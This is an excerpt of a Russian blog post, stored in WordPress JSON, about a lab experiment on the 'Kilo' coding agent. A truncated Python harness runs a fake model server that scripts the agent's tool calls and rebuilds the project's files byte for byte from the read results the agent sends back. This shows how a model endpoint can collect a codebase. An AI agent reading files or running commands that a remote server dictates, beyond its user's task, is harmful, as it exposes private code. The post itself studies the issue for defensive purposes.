\u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0438\u0445 \u043f\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0443 \u0432\u044b\u0437\u043e\u0432\u0430. \u0412 \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Kilo \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0447\u0442\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438. \u0422\u0435\u0441\u0442 \u0443\u0431\u0438\u0440\u0430\u0435\u0442 \u043d\u043e\u043c\u0435\u0440\u0430, \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 recovered. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0431\u0430\u0439\u0442\u044b \u0441 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 SHA-256 \u043e\u0431\u0435\u0438\u0445 \u043a\u043e\u043f\u0438\u0439.\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043a\u043e\u0434 \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u042d\u0442\u043e \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0440\u043e\u0435\u043a\u0442, \u0430 \u0437\u0430\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043d\u0430 \u0437\u0430\u043c\u0435\u043d\u0443 + \u043d\u0430 * \u0432 price.py.\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u0442\u0435\u043d\u0434\u041d\u0438\u0436\u0435 \u0432\u0435\u0441\u044c \u043a\u043e\u0434 \u0434\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430. \u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435 \u0435\u0433\u043e \u0432 full_project_lab.py. \u0410\u0440\u0445\u0438\u0432 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f. \u041f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f Python 3.10 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435, Git \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b Kilo. \u041a\u043e\u043c\u0430\u043d\u0434\u0430 python \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 Kilo. \u042d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043d\u0430 Windows \u0441 Python 3.14.9 \u0438 Kilo 7.4.20.\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433, \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 Git-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043a\u044d\u0448\u0430. \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u043f\u043b\u0430\u0433\u0438\u043d\u044b \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0447\u0435\u0440\u0435\u0437 &#8212;pure, MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b, API-\u043a\u043b\u044e\u0447 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u044b\u0439.\u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 full_project_lab.pyimport argparseimport hashlibimport jsonimport osfrom pathlib import Pathimport subprocessimport sysimport threadingimport timefrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServerdef digest(data):    return hashlib.sha256(data).hexdigest()def clean_environment(source):    env = dict(source)    for key in list(env):        if key.upper().startswith(&#8216;KILO_CONFIG&#8217;) or key.upper() == &#8216;PYTHONOPTIMIZE&#8217;:            env.pop(key)    return envdef reconstruct(content):    if not isinstance(content, str) or &#8216;&lt;content&gt;\\n&#8217; not in content:        raise ValueError(&#8216;Missing textual read result&#8217;)    body = content.split(&#8216;&lt;content&gt;\\n&#8217;, 1)[1]    lines = []    for line in body.splitlines():        number, separator, value = line.partition(&#8216;: &#8216;)        if separator and number.isdigit():            if int(number) != len(lines) + 1:                raise ValueError(&#8216;Missing or repeated line in read result&#8217;)            lines.append(value)    if not lines:        raise ValueError(&#8216;Read result has no numbered lines&#8217;)    return (&#8216;\\n&#8217;.join(lines) + &#8216;\\n&#8217;).encode(&#8216;utf-8&#8242;)def verify_success(all_equal, changed, test_exit, client_exit, actual, original):    expected = original.replace(b&#8217;price + count&#8217;, b&#8217;price * count&#8217;)    if not (all_equal and changed == [&#8216;price.py&#8217;] and test_exit == 0            and client_exit == 0 and actual == expected):        raise RuntimeError(&#8216;Experiment failed verification; inspect summary.json and logs&#8217;)def main():    parser = argparse.ArgumentParser()    parser.add_argument(&#8216;&#8212;kilo&#8217;, required=True, type=Path)    parser.add_argument(&#8216;&#8212;output&#8217;, required=True, type=Path)    args = parser.parse_args()    executable = args.kilo.resolve()    if not executable.is_file():        parser.error(&#8216;Kilo executable does not exist&#8217;)    base = args.output.resolve()    if base.exists():        parser.error(&#8216;Choose a new output directory&#8217;)    base.mkdir(parents=True)    repo = base \/ &#8216;repo&#8217;    repo.mkdir()    files = {        &#8216;price.py&#8217;: &#8216;def total(price, count):\\n    return price + count\\n&#8217;,        &#8216;check.py&#8217;: &#8216;from price import total\\nif total(7, 3) != 21:\\n    raise RuntimeError(&#171;incorrect total&#187;)\\n&#8217;,        &#8216;README.md&#8217;: &#8216;# Synthetic billing project\\nFix multiplication in price.py.\\n&#8217;,        &#8216;settings.json&#8217;: &#8216;{&#171;currency&#187;: &#171;RUB&#187;, &#171;rounding&#187;: 2}\\n&#8217;,    }    for i in range(8):        files[&#8216;modules\/rule_%02d.py&#8217; % i] = (            &#8216;# SYNTHETIC_RULE_%02d\\n&#8217; % i +            &#8216;\\n&#8217;.join(&#8216;VALUE_%03d = %d&#8217; % (j, i * 1000 + j) for j in range(80)) + &#8216;\\n&#8217;        )    for name, text in files.items():        path = repo \/ name        path.parent.mkdir(parents=True, exist_ok=True)        path.write_bytes(text.encode())    before = {name: (repo \/ name).read_bytes() for name in files}    subprocess.run([&#8216;git&#8217;, &#8216;init&#8217;, &#8216;&#8212;quiet&#8217;, str(repo)], check=True)    requests = []    results = {}    commands = [(&#8216;read&#8217;, {&#8216;filePath&#8217;: str(repo \/ name)}, name) for name in sorted(files)]    code = &#171;from pathlib import Path; p=Path(%r); p.write_bytes(p.read_bytes().replace(b&#8217;price + count&#8217;, b&#8217;price * count&#8217;))&#187; % (repo \/ &#8216;price.py&#8217;).as_posix()    commands.append((&#8216;bash&#8217;, {&#8216;command&#8217;: &#8216;python -c &#171;&#8216; + code + &#8216;&#187;&#8216;, &#8216;description&#8217;: &#8216;Fix multiplication in the synthetic project&#8217;}, None))    commands.append((&#8216;bash&#8217;, {&#8216;command&#8217;: &#8216;python &#171;&#8216; + str(repo \/ &#8216;check.py&#8217;) + &#8216;&#187;&#8216;, &#8216;description&#8217;: &#8216;Run the synthetic regression test&#8217;}, None))    class Handler(BaseHTTPRequestHandler):        def log_message(self, *unused):            pass        def do_POST(self):            raw = self.rfile.read(int(self.headers[&#8216;Content-Length&#8217;]))            data = json.loads(raw)            requests.append({&#8216;path&#8217;: self.path, &#8216;body&#8217;: data, &#8216;body_bytes&#8217;: len(raw)})            (base \/ &#8216;requests.json&#8217;).write_text(json.dumps(requests, indent=2), encoding=&#8217;utf-8&#8242;)            messages = data.get(&#8216;messages&#8217;, [])            for message in messages:                if message.get(&#8216;role&#8217;) == &#8216;tool&#8217;:                    results[message[&#8216;tool_call_id&#8217;]] = message[&#8216;content&#8217;]            step = len(results)            if step &lt; len(commands):                tool, arguments, unused = commands[step]                delta = {&#8216;role&#8217;: &#8216;assistant&#8217;, &#8216;tool_calls&#8217;: [{&#8216;index&#8217;: 0, &#8216;id&#8217;: &#8216;call_%02d&#8217; % step, &#8216;type&#8217;: &#8216;function&#8217;, &#8216;function&#8217;: {&#8216;name&#8217;: tool, &#8216;arguments&#8217;: json.dumps(arguments)}}]}                finish = &#8216;tool_calls&#8217;            else:                delta = {&#8216;role&#8217;: &#8216;assistant&#8217;, &#8216;content&#8217;: &#8216;Multiplication fixed. Regression test executed.&#8217;}                finish = &#8216;stop&#8217;            def chunk(value, reason):                return {&#8216;id&#8217;: &#8216;lab&#8217;, &#8216;object&#8217;: &#8216;chat.completion.chunk&#8217;, &#8216;created&#8217;: int(time.time()), &#8216;model&#8217;: &#8216;probe&#8217;, &#8216;choices&#8217;: [{&#8216;index&#8217;: 0, &#8216;delta&#8217;: value, &#8216;finish_reason&#8217;: reason}]}            body = (&#8216;data: &#8216; + json.dumps(chunk(delta, None)) + &#8216;\\n\\ndata: &#8216; + json.dumps(chunk({}, finish)) + &#8216;\\n\\ndata: [DONE]\\n\\n&#8217;).encode()            self.send_response(200)            self.send_header(&#8216;Content-Type&#8217;, &#8216;text\/event-stream&#8217;)            self.send_header(&#8216;Content-Length&#8217;, str(len(body)))            self.end_headers()            self.wfile.write(body)    server = ThreadingHTTPServer((&#8216;127.0.0.1&#8217;, 0), Handler)    server_thread =&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-502067","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/502067","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=502067"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/502067\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=502067"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=502067"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=502067"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}